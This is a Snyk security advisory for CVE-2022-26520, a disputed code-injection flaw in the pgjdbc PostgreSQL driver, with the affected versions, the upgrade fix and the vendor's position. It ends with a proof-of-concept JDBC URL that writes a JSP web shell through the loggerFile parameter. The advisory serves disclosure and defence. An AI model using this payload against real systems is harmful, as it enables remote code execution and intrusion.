Arbitrary Code Injection Affecting org.postgresql:postgresql package, versions [42.1.0,42.3.3)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGPOSTGRESQL-2401816
- published 11 Mar 2022
- disclosed 16 Feb 2022
- credit Allan Lou
Introduced: 16 Feb 2022
CVE-2022-26520 Open this link in a new tabHow to fix?
Upgrade org.postgresql:postgresql
to version 42.3.3 or higher.
Overview
org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.
Affected versions of this package are vulnerable to Arbitrary Code Injection. DISPUTED
When an arbitrary filename is specified in the loggerFileName
connection parameter, a valid JSP
file is created and a Remote Code Execution could be performed.
Note: the vendor's position is that there is no pgjdbc vulnerability; instead, it is a vulnerability for any application to use the pgjdbc driver with untrusted connection properties.
PoC
jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter("i"));%>